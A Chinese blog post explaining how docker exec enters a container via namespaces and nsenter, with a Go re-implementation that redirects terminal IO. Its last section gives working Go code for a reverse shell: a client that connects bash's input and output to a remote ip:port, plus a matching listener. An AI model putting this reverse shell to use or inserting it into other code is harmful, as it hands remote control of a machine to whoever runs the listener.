docker exec 命令的作用是进入到“容器内部”,并执行一些命令,那么它是如何实现把“容器内部”的 io 重定向到我们的终端(bash) 的呢?

基本原理

首先,要明白容器所依赖的内核 namespace 的概念,其实不存在“容器内部”,只要两个进程在相同的 namespace,那它们就相互可见,从用户的角度来说,也就是进入了容器內部。

nsenter

nsenter 是一个命令行工具,它可以运行一个 binary,并且把它加入到指定的 namespace 中。

用法如下,

nsenter -h 
nsenter -a -t <pid> <command>
nsenter -m -u -i -n -p -t <pid> <command>

假设有一个 redis container 正在运行,通过 docker inspect --format {{.State.Pid}} 获取 pid, 假设为 2929。

然后运行 nsenter 命令:

# nsenter -a -t 2929 ps aux 

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
redis        1  0.0  0.0  52968  7744 ?        Ssl  May17   0:19 redis-server *:6379
root        93  0.0  0.0   7640  2748 ?        R+   05:47   0:00 ps aux

可以看到,ps 命令输出了 “容器內部” 的进程: redis 和 ps,符合我们的预期。

Golang 调用 nsenter

现在知道了如何利用 nsenter 命令进入容器内部了,那么该怎么用 go 实现呢? 因为 docker 的实现语言就是 go,因此我们来实现一个简易版的 docker exec 。

这里要用到 Golang 自带的 "os/exec" 库,exec 实现了对命令行的一些封装,这里我们只要用 Command 函数即可:

func main() {
	nscmd := exec.Command("nsenter", "-a", "-t", "2929", "bash")

	nscmd.Stdin = os.Stdin
	nscmd.Stdout = os.Stdout
	nscmd.Stderr = os.Stderr

	err := nscmd.Run()
	if err != nil {
		fmt.Println("err : ", err)
	}
}

非常简单的一段代码,其中关键部分是把用户在 terminal 的输入输入重定向到 nscmd 的 Stdin 结构体成员,这样我们在 terminal 里面敲键盘的输入都会进入到容器內部的 bash 里了。

运行 binary 后输入 ifconfig,看到 eth0 的信息是典型的容器 ip 地址,证明确实在 redis 容器內部。

# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 473  bytes 686675 (670.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 381  bytes 23207 (22.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

反弹 shell

通过上面的内容,我们知道了如何运行一个本地二进制文件进入容器內部,但是类似 kubectl exec,或者像被拆分后的 docker,分成了很多独立的组件,那么是如何通过网络实现 IO 的重定向的呢?

其实答案非常简单,把 socket 的文件描述符 fd 赋值给 cmd 的 stdin/stdout 即可。

docker exec 真正的实现是 docker runtime 实现了一个 gRPC 服务 RuntimeService,但是因为 docker 被拆成了很多模块,我暂时没找到具体的实现代码,但原理是一样的。

在查阅资料的过程中看到了一个反弹 shell 的代码,觉得很有意思,就贴在下面,其原理就是利用 IO 重定,核心代码是:

    c, err := net.Dial("tcp", "ip:port")

	cmd := exec.Command("bash")

	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c

client 端

func main() {
	ip := flag.String("i", "", "ip address")
	port := flag.String("p", "8888", "port")
	flag.Parse()

	c, err := net.Dial("tcp", *ip+":"+*port)
	if err != nil {
		fmt.Println(err)
	}
	cmd := exec.Command("bash")

	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c

	err = cmd.Run()
	if err != nil {
		fmt.Println("err : ", err)
	}
}

server 端

func main() {
	l, err := net.Listen("tcp", ":8888")
	if err != nil {
		fmt.Println("Error listening:", err.Error())
		os.Exit(1)
	}
	defer l.Close()

	conn, err := l.Accept()
	if err != nil {
		fmt.Println("Error accepting: ", err.Error())
		os.Exit(1)
	}

	go handleConnectionReader(conn)

	reader := bufio.NewReader(os.Stdin)
	fmt.Printf("> ")
	for {
		input, err := reader.ReadString('\n')
		if err != nil {
			fmt.Println("Error reading:", err.Error())
			break
		}

		if strings.Compare("exit", strings.Replace(input, "\n", "", -1)) == 0 {
			break
		}
		conn.Write([]byte(input))
	}
	conn.Close()
}

func handleConnectionReader(c net.Conn) {
	for {
		buf := make([]byte, 1024)
		_, err := c.Read(buf)
		if err != nil {
			fmt.Println("Error reading:", err.Error())
			os.Exit(1)
		}
		fmt.Printf("%s", buf)
		fmt.Printf("> ")
	}
}

让 client 端主动去连接 server 端,之后就能在 server 端使用 bash 操作 client 了。

总结

通过以上三节的内容,已经不难理解 docker exec 是如何实现在容器內部运行的 bash 交互的了,关键还是要理解把 os.Stdin 作为一个变量传给实现了 Read() Write() 接口的结构体。

参考资料